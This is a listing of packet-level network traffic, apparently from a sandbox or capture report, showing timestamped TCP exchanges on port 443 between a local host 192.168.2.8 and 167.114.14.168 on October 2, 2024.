Oct 2, 2024 06:11:40.094361067 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.094366074 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.094394922 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.094408989 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.179851055 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.179881096 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.179948092 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.179958105 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.180022955 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.180499077 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.180516005 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.180582047 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.180588007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.180613995 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.180629015 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.181175947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.181190968 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.181247950 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.181253910 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.181299925 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.181804895 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.181818962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.181860924 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.181865931 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.181898117 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.181914091 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.183142900 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.183159113 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.183227062 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.183233023 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.183305979 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.183876991 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.183893919 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.183949947 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.183955908 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.184001923 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.184354067 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.184369087 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.184412956 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.184417009 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.184447050 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.184457064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.184923887 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.184941053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.184986115 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.184990883 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.185017109 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.185031891 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.186892033 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.270632982 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.270658970 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.270710945 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.270716906 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.270750999 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.270771027 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.271112919 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.271128893 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.271168947 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.271173000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.271203995 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.271223068 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.271687031 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.271702051 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.271750927 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.271755934 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.271795034 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.271812916 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.272650003 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.272670031 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.272722960 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.272727966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.272751093 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.272770882 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.273993015 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.274024010 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.274055958 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.274060965 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.274099112 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.274115086 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.274633884 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.274650097 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.274709940 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.274714947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.274765015 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.275125027 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.275140047 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.275180101 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.275186062 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.275232077 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.275760889 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.275782108 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.275816917 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.275823116 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.275851965 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.275871038 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.361151934 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.361185074 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.361227989 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.361236095 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.361270905 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.361289978 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.361707926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.361723900 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.361759901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.361766100 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.361793041 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.361814976 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.362266064 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.362279892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.362322092 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.362325907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.362358093 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.362375975 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.362801075 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.362821102 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.362871885 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.362878084 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.362921953 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.362921953 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.364784002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.364800930 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.364851952 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.364857912 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.364887953 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.364906073 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.365372896 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.365394115 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.365444899 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.365449905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.365478992 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.365500927 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.365647078 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.365662098 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.365709066 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.365714073 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.365739107 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.365763903 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.366200924 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.366216898 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.366251945 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.366256952 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.366286039 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.366303921 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.452255011 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.452275038 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.452358007 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.452374935 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.452421904 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.452951908 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.452970028 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.453030109 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.453036070 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.453083992 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.453558922 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.453576088 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.453624964 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.453629971 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.453671932 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.454236031 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.454252005 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.454314947 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.454319954 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.454361916 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.455483913 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.455499887 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.455564022 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.455569029 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.455610991 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.456043005 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.456059933 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.456104994 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.456110001 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.456140995 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.456156969 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.456907034 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.456926107 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.456991911 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.456998110 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.457041979 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.457247019 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.457268000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.457319975 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.457325935 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.457412958 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.542768955 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.542787075 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.542993069 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.543009996 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.543065071 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.543232918 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.543248892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.543292046 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.543303013 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.543327093 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.543346882 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.543612003 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.543628931 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.543683052 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.543689966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.543734074 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.543752909 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.544321060 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.544337988 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.544403076 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.544406891 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.544529915 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.546047926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.546065092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.546124935 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.546130896 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.546205044 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.546714067 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.546730042 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.546778917 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.546783924 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.546813011 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.546832085 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.546996117 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.547010899 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.547060013 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.547065020 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.547118902 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.547693968 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.547723055 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.547770977 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.547775984 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.547800064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.547817945 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.633423090 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.633440971 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.633523941 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.633532047 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.633582115 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.633899927 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.633918047 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.633961916 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.633966923 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.634000063 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.634018898 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.634432077 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.634448051 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.634505033 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.634510040 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.634601116 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.635216951 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.635232925 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.635284901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.635291100 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.635320902 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.635339975 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.636779070 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.636794090 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.636853933 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.636861086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.637129068 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.637453079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.637475014 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.637536049 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.637542963 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.637568951 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.637588024 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.637857914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.637876034 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.637936115 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.637942076 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.638055086 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.638148069 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.638164043 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.638216972 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.638221979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.638268948 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.639870882 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.724186897 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.724205971 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.724277973 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.724292040 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.724343061 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.724647999 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.724679947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.724718094 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.724724054 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.724751949 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.724769115 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.725116968 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.725132942 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.725169897 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.725176096 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.725203037 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.725282907 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.725882053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.725895882 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.725944042 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.725949049 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.725976944 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.725996971 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.727566004 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.727582932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.727636099 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.727643967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.727725983 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.728168964 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.728183985 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.728226900 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.728231907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.728270054 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.728290081 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.728588104 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.728602886 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.728657961 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.728662968 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.728737116 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.729213953 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.729228020 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.729264975 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.729269981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.729299068 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.729311943 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.814887047 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.814905882 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.815085888 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.815095901 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.815171003 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.815423012 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.815438986 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.815717936 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.815756083 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.815762043 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.815778971 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.815789938 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.815819025 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:40.816271067 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.816287994 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:40.816348076 CEST	49723	443	192.168.2.8	167.114.14.168
